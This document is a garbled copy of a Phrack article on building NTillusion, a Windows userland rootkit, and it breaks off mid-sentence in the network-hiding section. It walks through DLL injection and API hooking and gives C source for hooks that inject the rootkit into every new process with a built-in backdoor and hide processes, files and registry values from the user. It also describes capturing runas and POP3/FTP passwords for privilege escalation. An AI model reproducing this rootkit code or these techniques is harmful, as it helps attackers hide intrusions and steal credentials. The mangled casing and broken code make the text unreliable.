Phrack latest public Win32 user-state rootkit technology details -------------------- I am working hard ---------------- ------------
Volume 0x0b, issue 0x3e, pHILE # 0x0c of 0x10
| = --------- = [NTILLusion: a portable win32 userland rootkit] = -------- = | | = ---------------- -------------------------------------------------- ---- = | | = ------------------ = [KDM This paper describes how to build a windows user land rootkit. The first part deal with the basis and describe a few methods to show how code injection and code interception are possible, while the rest of the paper covers the strategy that makes stealth possible in userland . A Bigger Version of the Paper IS Also Available At [1] SO That Novice People Article About Injection and Interception Basics. Table of contents 1. Introduction 2. Code Injection and interception 2.1. System Hooks 2.2. CreateRemoteThread 2.3. Manipulating thread's context 2.4. Redirecting the Import Address Table 2.5. Inserting an unconditional jump (jmp) 3. User land take over 3.1. User land vs Kernel land rootkits 3.2. Restrictions ... 3.3. ... and constraints 3.4. Setting a global hook to take over userland 3.5. Local application take over 4. Replacement functions 4.1. Process hiding 4.2. File hiding 4.3. Registry 4.4. Netstat like tools . 4.4.1. The case of windows 2000 4.4.1.1. Hooking GetTcpTable 4.4.1.2. Defeating netstat 4.4.1.2. Defeating Fport 4.4.2. The case of windows XP 4.5. Global TCP backdoor / password grabber 4.6. Privilege escalation 4.7 . Module Stealth 5. Ending 5.1. Conclusion 5.2. Greets 6. References ------- [1. Introduction A rootkit is a program designed to control the behavior of a given machine. This is often used to hide the illegitimate presence of a backdoor and others such tools. It acts by denying the listing of certain elements when requested by the user, affecting thereby the confidence that the machine has not been compromised.There are different kinds of rootkits. Some act at the very bases of the operating system by sitting in kernel land, under the privileged ring 0 mode. Some others run under lower privileges in ring 3 and are called user land rootkits, as they target directly the user's applications instead of the system itself. These ring 3 rootkits have encountered a recrudescence the last years since it is somewhat more portable and polyvalent than ring 0 Ones. As there is a windows rootkitting tutorial based on a strong implementation called the [ntillusion rootkit] Which Fits Maximum Constraint s. This rootkit has been designed to be able to run under the lowest privileges for a given account under windows. Indeed, it does not use any administrative privilege to be able to perform its stealth as it resides directly inside processes that are owned by the current user. In a word, all the ring 3 programs that a user might use to enumerate files, processes, registry keys, and used ports are closely controlled so they will not reveal unwanted things. Meanwhile, the rootkit silently waits for passwords, allowing the load of any device driver as soon as an administrator password is caught. How does this works? All this stuff is done in two steps. First, by injecting the rootkit's code inside each application owned by the current user and finally, by replacing strategic functions by provided ones. Theses tricks are performed at run time against a running process rather than on hard disk on binaries since it allows to work around the windows file protection, antiviral and checksum tools as w ell. The rootkit has been tested successfully under windows 2000 / XP, but may also run on older NTs. It's architecture allows it to be ported to windows 9x / Me but some functions are missing (VirtualAllocEx) or behave abnormally (CreateRemoteThread) on this Version of the OS. This introduction would not have been achieved without comments about the different sections of the paper that present each special characteristics. Section 3 deals about user land take over. This mechanism has already been presented by Holy_Father in [HIDINGEN]. However it is here done in a different way. in fact, the rootkit acts globally a level higher so things are changed and it results in a somewhat simpler but efficient spreading method. and contrary to Hacker Defender ([HKDEF_RTK]), NTillusion does not need the administrative privilege. So the approach I propose is different. This approach is also different when speaking about the way functions are chosen and replaced. This is the case with section 4 which introduces an uncommon way to replace original functions. On one hand, the functions are most of the Time Replaced At Kernel Level. So, I Hope this Paper Shows That Performing a Good Stealth Is Possible Also In Userland. on The Other Hand Whenking About API Replacement, people try to dig as much as possible in order to hook at the lowest level. This is sometimes a good thing, sometimes not. This is especially true with portability, which suffers from this run to low level. NTillusion replaces top level APIs as often as possible. As windows designers want programs that rely on the documented API to be portable from one windows version to another, and as the rootkit hijacks critical functions among this documented API, portability is accrued. Thereby there's no need to perform OS version check and IT RESULTS IN A More Universal Rootkit. Added To That, This Section Offers A New Way for Priviege Escalation by Showing How Hooking The Pop3 / FTP Traffic Is Possible in Order To Get Login and Passwords. This is not the only new thing:. Section 4.7 offers a new way to hide a DLL loaded inside a given process Usually, this would have been done by hooking modules enumeration APIs inside the memory space of each process able to reveal the rootkit However. I show how this is possible to do this by dealing directly with undocumented structures pointed by the Process Environment Block. Once this has been done, there's not need to worry about subsequent detection. to test this method I downloaded a rootkit detector, [VICE] , and scaned my system. With no rootkit loaded, VICE produced most of the time some false positive for standart DLLs (kernel32 / ntdll / ...). Once the rootkit was loaded and using this technique, there was no noticable change and VICE . ------- [2. Code Injection and interception The goal of this section is to allow a process to replace the functions of another. This involves getting control of the target process, then to replace parts of it's memory carefully. Let's begin with code injection. So altering the behavior of a process requires to break into it's memory space in order to execute some code to do the job. fortunately, windows perfors checks to prevent an application to read or write memory of an other application without its permission. nevertheless the windows programmers included several ways to bypass the native inter-process protection so patching other processes' memory at runtime is a true possibility. The first step in accessing a running process is done trough the OpenProcess API. If the application possesses the Correct Security Permissions, The Function Returns A Handle To Deal With The Process, In The Other Case, IT Denies Access. by Triggering A Proper Privilege, a User May Get Access To a privil egded process as we'll see later. In Windows NT, a privilege is some sort of flag granted to a user that allows the user to override what would normally be a restriction to some part of the operating system. This is the bright side. But unfortunately there is also a seamy side. in fact there's multiple ways to break into the memory space of a running process and running hostile code in it, by using documented functions of the windows API. The following methods have already been covered in the past SO I WILL ONLY GIVE An Overview. ------- [2.1. System Hooks The most known technique uses the SetWindowsHookEx function which sets a hook in the message event handler of a given application. When used as a system hook, ie when the hook is set for the whole userland, by relying on a code located in a dll, the operating system injects the dll into each running process matching the hook type. For example, if a WH_KEYBOARD hook is used and a key is pressed under notepad, the system will map the hook's dll inside notepad.exe memory space. Easy as ABC ... for more information on the topic, see [HOOKS] and [MSDN_HOOKS]. Hooks are most of the time used for developping pacthes or automating user manipulations but the following method is from far more eloquent .------- [2.2. CreateRemoteThread Another gift for windows coders is the CreateRemoteThread API. As its name points out, it allows the creation of a thread inside the memory space of a target process. This is explained By Robert Kuster in [3WAYS]. When Targeting a Process running in a more privileged context, a rootkit may acquire God Power by activating the SeDebugPrivilege. For more information see the rootkit code. [NTillusion rootkit] Although this method seems interesting, it is from far widespread and easy to defeat using a security driver. See also [REMOTETH] for other info. More over, any injected DLL with this method will be easily noticed by any program performing basic module enumeration. Section 4.7 offers a solution to this problem, while the following section presents a less known way to run Code Inside a Target Process. ------- [2.3. Manipulating thread's context CreateRemoteThread is not the only debugging API that may be used to execute code into a target process. The principle of the following technique is to reroute a program's execution flow to malicious code injected in the program's memory space. This involves three steps. First, the injector chooses a thread of this process and suspends it. Then, it injects the code to be executed in the target process memory as before, using VirtualAllocEx / WriteProcessMemory, and changes a few addresses due to changes in memory position. Next, it sets the address of the next instruction to be executed for this thread (eip register) to point to the injected code and restarts the thread. The injected code is then executed in the remote process . Finally it arranges for a jump to the next instruction that should have been executed if the program had followed its normal course, in order to resume its activity as soon as possible. The idea of manipulating the thread 'S context is exposed in [LSD]. Other methods also exist to trigger the load of a given DLL inside the memory space of a target process. By design, the HKEY_LOCAL_MACHINE / Software / Microsoft / WindowsNT / Current Version / Windows / AppInit_DLLs key gathers the DLL to be loaded by the system inside each process relying on user32.dll. Added to that come the BHO, standing for browser help objects, that act as plugins for web- browsers, enabling the load of any sort of code. But just taking over a process is not enough ... Once the target process' memory space is under control, it's possible to replace its own functions by provided ones. Code interception routines are critical since they had to meet efficiency and speed requirements. The methods presented in this section have their own advantages and drawbacks. As for the injection techniques, there's more than one way to do the job. The goal of the methods is to redirect another program's function when it is loaded in memory. for the target program , everything takes place as if it had called the desired functions as usual. But in fact the call is redirected to the replacement API. Some methods of API interception are based on features intentionally provided by the designers of the PE format to simplify the loader's task WHEN a Module Is Mapped Into Memory. The Function Redirection Takes Place Once The Code We Inject Into The Target Process IS Executed. To Understand How Theese Methods Work, A Thorous Under STANDING OF THE PE FORMAT IS NEEDED; See [PE] and hang on with courage, the folload method. ------- [2.4. Redirecting the Import Address Table After injecting our code into the application's memory space, it is possible to change its behavior. We use a technique called "API hooking" which involves replacing the API by our own routines. The most common way to do this is to alter the import address table of a given module. When a program is executed, its various zones are mapped into memory, and the addresses of the functions it calls are updated according to the windows version and service pack. The PE format provides a clever solution to do this update, without patching every single call. When you compile your program, each call to an external API is not directly pointing to the function's entry point in memory. It is using a jump involving a dword pointer, whose address is among a table called the Import address Table (IAT), since it contains the address of each imported function. At load time, the loader just needs to patch each entry of the IAT to modify the target Of Each call for all API. Thus, to hijack, we simply patch the IAT to make the memory point to our code instead of the true entry point of the target API. In this way, we have total control over the application, and any subsequent calls to that function are redirected. This general idea of the technique which is detailed more in [IVANOV] and [UNLEASHED]. But hooking at IAT level is from far a non secure way. Undirect Call may be missed. to prevent this, there's only One Solution ... INSERTING AN UNCONDITIONAL JUMP! ------- [2.5. Inserting an unconditional jump (jmp) This technique involves modifying the machine code of a given API so that it executes an unconditional jump to a replacement function. Thus any call? Direct or indirect? To the hooked API will inevitably be redirected to the new function This is the type of function redirection used by the Microsoft Detours Library [DETOURS] In theory, redirection by inserting of an unconditional jump is simple:.. you simply locate the entry point of the API to be hijacked an insert an unconditional jump to the new function This technique make us lose the ability to call the original API, however;. there are two ways to work around that inconvenience The first is the method used in the famous hxdef rootkit,. or Hacker Defender which is now open source [HKDEF_RTK]. The idea is to insert an unconditional jump while saving the overwritten instruction in a buffer zone. When the original API must be called, the redirection engine restores the real API, cal ls it, then repositions the hook. The problem with this technique is that it is possible to lose the hook. If things go wrong, there is a chance that the hook will not be restored when exiting the API. An even bigger risk is that another thread of the application may access the API between the time it is restored and the time when the hook is repositioned. Thus, as its creator Holy_Father knows, there is a chance that some calls may be lost when using this method. However, there is another solution for calling the original API. It involves creating a buffer containing the original version of the API's modified memory zone, followed by a jump to and address located 5 bytes after the start of the zone. This jump allows to continue the execution of the original function just after the unconditional jump that performs the redirection to the replacement function It seems simple No, it is not One detail that I voluntarily left out until now:.?.. the problem of disassembling instructions In machine code , instructions have a variable length How can we write an unconditional five-byte jump while being sure not to damage the target code ( "cutting an instruction in half") The answer is simple:.? in most cases we just use a basic disassembly engine. It allows to recover as many complete instructions as required to reach the size of five bytes, ie the area just big enough the insert the unconditional jump. The useful redirection engine used in the rootkit is the one created by Z0MbiE (see [ZOMBIE2]). This hooking method, somewhat particular has been covered by Holy_Father. Refer to [HKDEF] if you are interested. Hum, That's all folks about prerequisite. Now we're going to consider how To Build A Win32 Rootkit Using these Techniques. Le 'PLAY! ------- [3. User Land Take over ------- [3.1 User Land vs kernel Land Rootkits Most of the Time, To Achieve Their Aim Kernel Land Rootkits Simply Replace The Native API with Some of their own by overwriting entries in the Service Descriptor Table (SDT). Against a normal windows system, they do not have to worry about persistence as once the hook is set, it will hijack all subsequent calls for all processes. This is not the case for win32 ring 3 rootkits, acting at user level. In fact, the hook is not global as for kernel ones, and the rootkit must run its code inside each process able to reveal its presence. Some decide to hook all processes running on the machine including those of the SYSTEM groups. It requires advanced injection techniques, hooking methods and to target API at very low level. Let me explain. Consider we want some directories not to be noticed when browsing the hard drive using explorer. A quick look At Explorer.exe's Import Table Reveals That IT IS Using FindfirstFilea / W and FindNextFileA / W So we may hook these functions. At first it seems tedious to hook all these functions rather than going a level under. Yeah, these functions rely on the native API ntdll.ZwQueryDirectoryFile, it would be easier to hook this one instead. This is true for a given version of windows. But this is not ideal for compatibility. The more low level the functions are, the more they're subject to change. Added to that, it is sometimes undocumented. So on The One Hand, There's Hijacking At Low Level, More Accurate Button, Hijacking At High Level, Less Accurate, But from Far SIMPLER TO SET UP. NTillusion hijacks API at high level since I never designed it to reside into system processes. Each choice has a bright side and a seamy side. The following points describe the restrictions I wanted the rootkit to fit and the constraints windows imposes to processes .-- ----- [3.2 Restrictions ... The rootkit is made to be able to perform its stealth for the current user on the local machine. This is especially designed for cases where administrator level is unreachable for some reason. This shows that getting root is sometimes not necessary to be lurking. It represents a true threat in this case, since windows users have the bad habit to set their maximum privilege on their account instead of triggering it using runas to become admin only when needed. So, if the user is not currently admin, he probably is not at all, so a user land rootkit will perfectly do the job. Otherwise, it's time to go kernel mode. Thus, the rootkit is designed to only require privileges of the current user to bec ome unseen to its eyes, whether this is an admin or not. Then it starts waiting for passwords collected by users using the runas method, allowing privilege escalation. It may also spy web traffic to dynamically grab pop3 / ftp passwords on the fly. This Is Possible But A Little Bit Too Vicious ... ------- [3.3 ... and constraints as you shop now Know, Windows Maintains a Native Inter-Process Protection SO A Process Won't Access Another if this One Doesn't Belong to Its Group Or Does Not Present the administrator nor debug privilege. So the rootkit will be restrained to affect processes of the current user. contrariwise, if it got admin privilege, it may add itself to the HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Run key and hide its presence , being then active for all users on the machine. Due to the rootkit architecture, privileged processes will be able to see the system as it really is. So remote administration may reveal the rootkit, as much as FTP or HTTP servers running as services. .. ------- [3.4 Setting a global hook to take over userland To be efficient, the rootkit must run under all visible applications that may reveal unwanted presence. Performing an injection try for each running process when the rootkit loads is not a good idea since it will not affect processes that would be run later. A perfect way to achieve this is to set a system wide hook, using SetWindowsHookEx for WH_CBT events. Therefore, the rootkit's dll will be injected into all running graphical processes, as soon, as they appear on screen. Unfortunately, the WH_CBT concerns only processes using user32.dll, therefore it will not affect some console programs. This is the case of windows cmd, netstat, and so on. Thereby, the rootkit must also affect processes so that it will be notified and injected when a process creation is about to be done. This is achieved by hooking the CreateProcessW function into all injected processes. This way, the rootkit will be running inside any newly created process. The C reateProcessW replacement and the system hook are complementary methods This combination perfectly covers all situations:.. the execution of a graphical or console process from explorer, the taskmanager or any other application It also has the advantage to inject the rootkit into the taskmanager when the user triggers Ctrl Alt Del. In this case, the taskmanager is created by winlogon which is not hijacked by the rootkit. But the system hook is injected into as soon as it is created, since it is a graphical process. To prevent a Process from Being Inject Twice, The Rootkit Modifies PDoSHeader-> e_csum to be equal to NTI_SIGNATURE. When the Dll is loaded it first checks the presence of this signature and exits properly if needed. This is only a safety since a check is performed in DllMain to be sure that the reason DllMain is called matches DLL_PROCESS_ATTACH. This event only triggers when the DLL is first mapped inside the memory space of the application, while subsequent calls to LoadLibrary will only increase load counter for this module and be marked as DLL_THREAD_ATTACH.The following code is the CreateProcessW replacement of the NTIllusion rootkit. It contains a backdoor by design:. if the application name or its command line contains RTK_FILE_CHAR, the process is not hooked, thus allowing some programs not to be tricked by the rootkit This is useful to launch hidden processes from windows shell that performs a search before Delegating the creation of the process. createprocessw. --------------------------------------------------------------------------------------------------------------------------------------------------------------------- --- BOOL WINAPI MyCreateProcessW (LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, lPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation) {int bResult, bInject = 1; char msg [1024] , cmdline [256], appname [256]; / * Resolve CreateProcessw Function Address if it hasn't been filled by Iat hijack. This happens when the function isn 'ketime using getprocaddresssss. * / if (! fCreateProcessW) {fCreateProcessW = (FARPROC) fGetProcAddress (GetModuleHandle ( "kernel32.dll"), "CreateProcessW"); if (! fCreateProcessW) return 0;} / * Clear parameters * / my_memset (msg, 0, 1024) MY_MEMSET (CMDline, 0, 256); My_MEMSET (AppName, 0, 256); / * Convert application name and command line from unicode: * / WideCharToMultiByte (CP_ACP, 0, (const unsigned short *) lpApplicationName, -1, appname, 255, NULL, NULL); WideCharToMultiByte (CP_ACP, 0, (const unsigned short * ) LPCommandline, -1, cmdline, 255, null, null; / * Call original function first, in suspended mode * / bResult = (int) fCreateProcessW ((const unsigned short *) lpApplicationName, (unsigned short *) lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, CREATE_SUSPENDED / * dwCreationFlags * /, lpEnvironment, ( Const unsigned short *) lpcurrentdirectory, (struct _startupinfow *) lpstartupinfo, lpprocessinformation; / * Inject the created process if its name & command line do not contain RTK_FILE_CHAR * / if (bResult) {if ((lpCommandLine && strstr ((char *) cmdline, (char *) RTK_FILE_CHAR)) || (lpApplicationName && strstr (CHAR *) AppName, (char *) RTK_FILE_CHAR))) {OutputString ("/ N [i] createprocessw: Giving True Sight To Process '% s' ... / n", (char *) appname); WakeuppRocess (LPPROCESSINFORMATION-> DWPROCESSID); binject = 0;} if (binject) injectdll (LPPROCESSINFORMATION-> HPROCESS, (CHAR *) KNTIDLLPATH); CloseHandle (LPPROCESSINFORMATION-> HPROCESS); CloseHandle (LPPROCESSINFORMATION-> HTHREAD); } Return BRESULT;} --------------------- End Example 1 -------------------- --------- Note that the child process is created in suspended mode, then injected by the Dll using CreateRemoteThread. The DLL hook function next wakes the current process up by resuming all its threads. This assures that the process has not executed a single line of its own code during the hijack time .------- [3.5 Local application take over being injected into all processes in the system is the first step to take the ownership of user land. When being able to act anywhere, it must keep its control and prevent any newly loaded module to escape the function hooking that has been set in order to hide unwanted things. So it is strongly recommended to filter calls to LoadLibraryA / W / Ex in order to hook modules as soon as they are loaded into memory. The Following Function Demonstrates How To Replace LoadLibrary Escape. -------------------------------------------------- --- / * LoadLibrary: prevent a process from escaping hijack by loading a new dll and calling one of its functions * / HINSTANCE WINAPI MyLoadLibrary (LPCTSTR lpLibFileName) {HINSTANCE hInst = NULL; / * DLL handle (by LoadLibrary) * / HMODULE HMOD = NULL; / * DLL HANDLE (by getModuleHandle) * / char * ldll = null; / * DLL PATH IN LOWER CASE * / / * get module handle * / hmod = getModuleHandle (LPLIBFILENAME); / * Load Module * / hinst = (hinstance) FloadLibrary (LPLIBFileName); / * Everything went ok? * / If (hinst) { / * If the dll was already loaded, don't set hooks a second time * / if (hmod == null) {/ * duplicate DLL PATH TO Perform Lower Case Comparison * / LDLL = _STRDUP ((char *) LPLIBFileName); IF (! ldll) goto end; / * convert it to lors Case * / _strlwr (ldll); / * CALL HOOK FUNCTION * / SETUPHOOKS ((int) NTI_ON_NEW_DLL, (CHAR *) LDLL); Free (LDLL);}} End: return hinst;} ---------------------- End Example 2 ------------------- ------------ As the hijacking method used is entry point rewriting, we must check that the DLL has not been yet loaded before performing the hooking. Otherwise, this may trigger an infinite loop when calling the original function. The job is partially done by SetUpHooks that will perform The hooking on already loaded module Only At Program Startup. About GetProcAddress: At first NTillusion rootkit was using an IAT hijacking method in order to replace file, process, registry and network APIs to perform its stealth Under winXP, all worked perfectly But when I tested it under win2000 I noticed a unusual behaviour in.. explorer's IAT. In fact, the loader does not fill the IAT correctly for a few functions such as CreateProcessW, so the address written does not always correspond to the API entry point [EXPLORIAT]. Scanning the IAT looking for API name instead of it's address does not solve the problem. It seems that explorer is performing something strange ... So I moved from an IAT hijacking engine needing to hook GetProcAddress in order to prevent hook escape, to the unconditional jump insertion that does not need to filter calls to this API. Anyway, you can try to hijack GetProcAddress and send the details of each call to debug output. The amount of GetProcAddress calls performed by explorer is amazing and its study, instructive. ------- [4. Replacement Functions Here Comes The Most Pleasant Part of The Ntillusion Rootkit, I. The Core of The Replacement Functions. ------- [4.1. Process hiding The main target when speaking about process hiding is the taskmanager. Studying its Import Table reveals that it performs direct calls to ntdll.NtQuerySystemInformation, so this time, hijacking API at higher level is useless and the situation leaves no choice. The role of the replacement function is to hide the presence of each process whose image name begins with RTK_PROCESS_CHAR string. Retrieving the processes list is done through a call to the [NtQuerySystemInformation] API.NTSTATUS NtQuerySystemInformation (SYSTEM_INFORMATION_CLASS SystemInformationClass , Pvoid SystemInformation, Ulong SystemInformationLength, Pulong ReturnLength; The NtQuerySystemInformation function retrieves various kinds of system information. When specifying SystemInformationClass to be equal to SystemProcessInformation, the API returns an array of SYSTEM_PROCESS_ INFORMATION structures, one for each process running in the system. These structures contain information about the resource usage of each process, including the number of handles used by the process, the peak page-file usage, and the number of memory pages that the process has allocated, as described in the MSDN. The function returns an array of SYSTEM_PROCESS_INFORMATION structures though the SystemInformation parameter. Each structure has the following layout: typedef struct _SYSTEM_PROCESS_INFORMATION {DWORD NextEntryDelta; DWORD dThreadCount; DWORD dReserved01; DWORD dReserved02; DWORD dReserved03; DWORD dReserved04; DWORD dReserved05; DWORD dReserved06; FILETIME ftCreateTime; / * relative to 01-01-1601 * / FILETIME ftUserTime; / * 100 nsec units * / FILETIME ftKernelTime; / * 100 nsec units * / UNICODE_STRING ProcessName; DWORD BasePriority; DWORD dUniqueProcessId; DWORD dParentProcessID; DWORD dHandleCount; DWORD dReserved07; DWORD dReserved08; DWORD VmCounters; DWORD dCommitCharge; SYSTEM_THREAD_INFORMATION ThreadInfos [1 ];} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;. Hiding a process is possible by playing with the NextEntryDelta member of the structure, which represents an offset to the next SYSTEM_PROCESS_ INFORMATION entry The end of the list is marked by a NextEntryDelta equal to zero .-- -------------------------------------------------------------------------------------------------------------------------- - / * MyntQuerySystemInformation: INS tall a hook at system query level to prevent _nti * processes from being shown. Thanks to Red for this function released in rkNT rootkit. (error checks stripped) * / DWORD WINAPI MyNtQuerySystemInformation (DWORD SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) {Psystem_process_information pspicurrent, pspiprec; char * pname = null; dword rc; / * 1st of all, get the return value of the function * / rc = fntQuerySystemInformation (SystemInformationClass, SystemInformation, SystemInformationLENGTH, RETURNLENGTH); / * If sucessful, perform sorting * / if (rc == STATUS_SUCCESS) {/ * system info * / switch (SystemInformationClass) {/ * process list * / case SystemProcessInformation: pSpiCurrent = pSpiPrec = (PSYSTEM_PROCESS_INFORMATION) SystemInformation; while (1) {/ * Alloc Memory to save process name in ainsi 8bits string charset * / pname = (char *) GlobalAlloc (gmem_zeroinit, pspicurrent-> processname.length 2); / * Convert unicode string to ainsi * / WideCharToMultiByte (CP_ACP, 0, pSpiCurrent-> ProcessName.Buffer, pSpiCurrent-> ProcessName.Length 1, pname, pSpiCurrent-> ProcessName.Length 1, NULL, NULL); / * If "hidden" process * / if (! _ Strnicmp ((char *) pname, RTK_PROCESS_CHAR, strlen (RTK_PROCESS_CHAR))) {/ * First process * / if (pSpiCurrent-> NextEntryDelta == 0) {pSpiPrec-> NextEntryDelta = 0; Break;} else {pspiprec-> NEXTENTRYDELTA = PSPICURRENT-> NEXTENTRYDELTA; PSPICURRENT = (psystem_process_information) (PCHAR) PSPICURRENT PSPICURRENT-> NEXTENTRYDELTA);}}} else {if (pspicurrent-> NEXTENTRYDELTA == 0) Break; pspiprec = pspicurrent; / * Walk the list * / pspicurrent = (psystem_process_information) (PCHAR) PSPICURRENT PSPICURRENT-> NEXTENTRYDELTA);} GlobalFree (PNAME);} / * / while * /} / * /} /} / * / if * / Return (rc);} ---------------------- End Example 3 ------------------- ------------ Previously I said that targeting NtQuerySystemInformation was the only solution. This is not entirely true. It's contrariwise sure that hooking Process32First / Next will not help but it's still possible to do otherwise. At first I chose to hook SendMessage, therefore hiding at ListBox control level. This is a very specific approach to the problem and is undocumented. Spying the behavior of the taskmanager on process creation with Spy shows that it uses the row telling about system idling process and changes its name to show the newly created process by sending a LVM_SETITEMTEXT message. So, first it overwrites the content of this ListBox item's line, and then add a new "Idle process" line by sending a LVM_INSERTITEMW message. Filtering these two types of message let us control what the taskmanager shows. Not very professional but ......................... ------------------------------------------------------------------------------- --- / * MySendMessageW: install a hook at display level (that is to say at ListBox level) to prevent _ * processes from being shown * / LRESULT WINAPI MySendMessageW (HWND hWnd, / * handle of destination window * / UINT Msg, / * Message to send * / wparam wparam, / * first message parameter * / lparam lparam) / * second message parameter * / {lplvitem pit; / * Simple Pointer to a lvitem structure * / / * Filter events * / if (msg == lvm_setitem || msg == lvm_insertitemw || msg == lvm_setitemtextw) {/ * if process name starts by '_', hide it * / if ((char) (PIT- > psztext) == '_') {hwnd = msg = wparam = lparam = null; returnine 0;}} / * in the other case, just call the genuine function * / return fsendMessagew (Hwnd, MSG, WPARAM, LPARAM } ---------------------- End Example 1 -------------------------------------------------------------------- ------- This Very High Level Hook Does The Job But It Will Only Work for Taskmgr.exe. ------- [4.2. File hiding Another frequently asked question is how to hide files. As explained above, I choose to hook FindFirstFileA / W and FindNextFileA / W. It is from far sufficient to defeat explorer view, the dir Command, And All Dialog Boxes Provided by the Common Controls. According the [MSDN] the FindFirstFile function searches a directory for a file or subdirectory whose name matches the specified name HANDLE FindFirstFile (LPCTSTR lpFileName, LPWIN32_FIND_DATA lpFindFileData).; The function takes two parameters A null-terminated string that specifies a valid directory or path and file name, which can contain wildcard characters (* and?):. LpFileName, and a pointer to a WIN32_FIND_DATA structure that receives information about the found file or Subdirectory. If The Function Succeeds, The Return Value Is A Search Handle Used In A Subsequent Call To FINDNEXTFILE ORFLETETER. IF The function fails, The return value is invalid_handle_value. ..................... Bool FindNextFile (Handle Hfindfile, LPWIN32_FIND_DATA LPFINDFILEDATA); The hFindFile parameter is a handle returned by a previous call to FindFirstFile or FindFirstFileEx function. Like before, the lpFindFileData points to a the WIN32_FIND_DATA structure that receives information about the found file or subdirectory. The structure can be used in subsequent calls to FindNextFile to see the found file or directory. The function succeeds if it returns nonzero.Let's have a look at the WIN32_FIND_DATA structure. The important member is cFileName which is a null-terminated string that specifies the name of the file. typedef struct _WIN32_FIND_DATA {DWORD dwFileAttributes; FILETIME ftCreationTime; FILETIME ftLastAccessTime; FILETIME ftLastWriteTime; DWORD nFileSizeHigh; DWORD nFileSizeLow; DWORD dwReserved0; DWORD dwReserved1; TCHAR cFileName [MAX_PATH]; / * full file name * / TCHAR cAlternateFileName [14]; / * file Name in the classic 8.3 (filename.ext) File name format. * /} Win32_find_data, * PWIN32_FIND_DATA; To perform a directory listing, an application calls FindFirstFile, and then calls FindNextFile using the returned handle, until it returns zero. The AINSI and WIDE functions (A / W) of FindFirst / NextFile operate similarly except that the Wide version performs calls to WideCharToMultiByte , in Order to Convert UNICODE STRINGS TO AINSI. -------------------------------------------------- --- / * MyFindFirstFileA: hides protected files from file listing (error checks stripped) * / hANDLE WINAPI MyFindFirstFileA (LPCTSTR lpFileName, LPWIN32_FIND_DATA lpFindFileData) {hANDLE hret = (hANDLE) 1000; / * return handle * / int go_on = 1; / * loop flag * / / * Process request * / hret = (handle) ffindfirstfilea (lpfilename, lpfindfiledata); (! Go_on && _strnicmp (lpFindFileData-> cFileName, RTK_FILE_CHAR, strlen (RTK_FILE_CHAR))): / * Then filter while we get a 'hidden file', we loop * / while {go_on = fFindNextFileA (hret, lpFindFileData);} / * OOPS, NO more Files? * / If (! Go_on) Return Invalid_Handle_Value; Return hret;} ---------------------- End Example 5 --------------------- ------------ And now Let's Replace FindnextFilea: ---------------------------------------------------------------------------------------------------------------------------------------------------------------- ------- / * MyfindNextFilea: hides protected files from being listed * / bool winapi myfindnextfilea (handle hfindfile, lpwin32_find_data lpfindfiledata) {bool return; / * return value * / / * While we get a file that should not be shown, we get another: * / do {ret = fFindNextFileA (hFindFile, lpFindFileData);} while (_strnicmp (lpFindFileData-> cFileName, RTK_FILE_CHAR, strlen (RTK_FILE_CHAR)) && ret! ! = 0); / * We're out of the loop so we may check if we broke because there is no more files If it's the case, we may clear the LPWIN32_FIND_DATA structure as this:. My_memset (lpFindFileData, 0, sizeof (LPWIN32_FIND_DATA)); * / RETURN RET;} ---------------------- End Example 6 -------------------- --------- /// ------- [4.3. Registry Preventing its launch source from being detected is also an unavoidable feature for this kind of rootkit. To allow registry stealth, the rootkit replaces the RegEnumValueW API inside the memory space of all processes. The working mode of the new function is simple: if it detects itself listing the content of a key that must be hidden, it returns 1 which traduces an error The only problem with this implementation is that the calling process will stop asking for the listing of the. content of the registry key. Therefore, it will also hide subsequent keys. As the keys are most of the time retrieved alphabetically, the RTK_REG_CHAR traducing that the key is hidden must be starting by a character of high ASCII code so that it will be retrieved Last and Won't bother. ------------------------------------------- --------- / * MyRegenumValue: hide registry keys WHEN A List is Requested * / long WinApi MyRegenumValue (HKEY HKEY, DWORD DWINDEX, LPWSTR LPVALUENAME, L PDWORD lpcValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData) {LONG lRet; / * return value * / char buf [256]; / * Call genuine API, then process to hiding if needed * / lRet = fRegEnumValueW (hKey , dwindex, lpvaluename, lpcvaluename, lpreserved, lptype, lpdata, lpcbdata; / * Convert String from unicode * / widechartomultibyte (CP_ACP, 0, LPVALUENAME, -1, BUF, 255, NULL, NULL) / * If the key must be hidden ... * / if (! _ Strnicmp ((char *) buf, RTK_REG_CHAR, STRLEN (RTK_REG_CHAR))) {LRET = 1; / * THEN RETURN? (Error) * /} Return Lret;} ---------------------- End Example 7 --------------------- ------------ ------- [4.4. Netstat Like Tools. NetWork Statistics Tools Are from Far The Most Vicious. There's a lot of ways to request the list of tcp / udp buying ports and the behavior of the same application (netstat, [NetStat, TCPVIEW], [FPORT] ...) varies from a version of windows to another. This is especially true between NT / 2000 and XP where the network statistics start to include the process identifier of the owner of each TCP connection. Whatever the way a process obtains these statistics, some dialog has to be established with the TCP / UDP driver sitting at kernel level (/ Device / Tcp and / Device / Udp). This consists in calls to DeviceIoControl to establish a request and receive the answer of the driver. hooking at this level is possible but from far risky and nightmarish, since the structures and control codes used are undocumented and change between windows versions. So the hooking has to be performed at different level, depending on the quality of the requested information and OS Version.as the rootki Tmust Run Under 2000 and XP, We Have to Consider Different Cases. ------- [4.4.1. The case of windows 2000 Under windows 2000 the extended API AllocateAndGetTcpExTableFromStack that associates a process identifier with a TCP stream does not exist yet, so information provided by the API does not include this reference . ------- [4.4.1.1. Hooking gettcptable the TCP statistics May Officially Be Obtained by a call to gettcptable, Which Retrieves The TCP Connection Table (MIB_TCPTABLE). DWORD GETTCPTABLE (PMIB_TCPTable PTCPTable, PDWORD PDWSIZE, BOOL BORDER); The functions takes three parameters. The last one, border, decides whether the connection table should be sorted. Then, PdwSize specifies the size of the buffer pointer by the pTcpTable parameter on input. On output, if the buffer is not large enough to hold the returned connection table, the function sets this parameter equal to the required buffer size. Finally, pTcpTable points to a buffer that receives the TCP connection table as a 